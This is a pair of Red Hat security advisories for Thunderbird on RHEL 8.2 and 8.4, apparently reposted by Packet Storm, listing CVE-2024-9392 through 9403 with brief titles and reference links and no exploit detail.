Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2024:7856-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:7856  
Issue date:         2024-10-09  
Revision:           03  
CVE Names:          CVE-2024-9392  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

Security Fix(es):

* thunderbird: 115.16/128.3 ()

* firefox: thunderbird: Specially crafted WebTransport requests could lead to denial of service (CVE-2024-9399)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131 and Thunderbird 131 (CVE-2024-9403)

* firefox: thunderbird: Potential directory upload bypass via clickjacking (CVE-2024-9397)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131, Firefox ESR 115.16, Firefox ESR 128.3, Thunderbird 131, and Thunderbird 128.3 (CVE-2024-9401)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131, Firefox ESR 128.3, Thunderbird 131, and Thunderbird 128.3 (CVE-2024-9402)

* firefox: thunderbird: External protocol handlers could be enumerated via popups (CVE-2024-9398)

* firefox: thunderbird: Potential memory corruption during JIT compilation (CVE-2024-9400)

* firefox: thunderbird: Potential memory corruption may occur when cloning certain objects (CVE-2024-9396)

* firefox: thunderbird: Cross-origin access to PDF contents through multipart responses (CVE-2024-9393)

* firefox: thunderbird: Cross-origin access to JSON contents through multipart responses (CVE-2024-9394)

* firefox: thunderbird: Compromised content process can bypass site isolation (CVE-2024-9392)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-9392

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2314431  
https://bugzilla.redhat.com/show_bug.cgi?id=2315945  
https://bugzilla.redhat.com/show_bug.cgi?id=2315947  
https://bugzilla.redhat.com/show_bug.cgi?id=2315949  
https://bugzilla.redhat.com/show_bug.cgi?id=2315950  
https://bugzilla.redhat.com/show_bug.cgi?id=2315951  
https://bugzilla.redhat.com/show_bug.cgi?id=2315952  
https://bugzilla.redhat.com/show_bug.cgi?id=2315953  
https://bugzilla.redhat.com/show_bug.cgi?id=2315954  
https://bugzilla.redhat.com/show_bug.cgi?id=2315956  
https://bugzilla.redhat.com/show_bug.cgi?id=2315957  
https://bugzilla.redhat.com/show_bug.cgi?id=2315959

Red Hat Security Advisory 2024-7856-03

Red Hat Security Advisory 2024-7854-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include bypass and denial of service vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_7854.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: thunderbird security update  
Advisory ID:        RHSA-2024:7854-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:7854  
Issue date:         2024-10-09  
Revision:           03  
CVE Names:          CVE-2024-9392  
====================================================================

Summary: 

An update for thunderbird is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

Security Fix(es):

* thunderbird: 115.16/128.3 ()

* firefox: thunderbird: Specially crafted WebTransport requests could lead to denial of service (CVE-2024-9399)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131 and Thunderbird 131 (CVE-2024-9403)

* firefox: thunderbird: Potential directory upload bypass via clickjacking (CVE-2024-9397)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131, Firefox ESR 115.16, Firefox ESR 128.3, Thunderbird 131, and Thunderbird 128.3 (CVE-2024-9401)

* firefox: thunderbird: Memory safety bugs fixed in Firefox 131, Firefox ESR 128.3, Thunderbird 131, and Thunderbird 128.3 (CVE-2024-9402)

* firefox: thunderbird: External protocol handlers could be enumerated via popups (CVE-2024-9398)

* firefox: thunderbird: Potential memory corruption during JIT compilation (CVE-2024-9400)

* firefox: thunderbird: Potential memory corruption may occur when cloning certain objects (CVE-2024-9396)

* firefox: thunderbird: Cross-origin access to PDF contents through multipart responses (CVE-2024-9393)

* firefox: thunderbird: Cross-origin access to JSON contents through multipart responses (CVE-2024-9394)

* firefox: thunderbird: Compromised content process can bypass site isolation (CVE-2024-9392)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-9392

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2314431  
https://bugzilla.redhat.com/show_bug.cgi?id=2315945  
https://bugzilla.redhat.com/show_bug.cgi?id=2315947  
https://bugzilla.redhat.com/show_bug.cgi?id=2315949  
https://bugzilla.redhat.com/show_bug.cgi?id=2315950  
https://bugzilla.redhat.com/show_bug.cgi?id=2315951  
https://bugzilla.redhat.com/show_bug.cgi?id=2315952  
https://bugzilla.redhat.com/show_bug.cgi?id=2315953  
https://bugzilla.redhat.com/show_bug.cgi?id=2315954  
https://bugzilla.redhat.com/show_bug.cgi?id=2315956  
https://bugzilla.redhat.com/show_bug.cgi?id=2315957  
https://bugzilla.redhat.com/show_bug.cgi?id=2315959

Tag

#firefox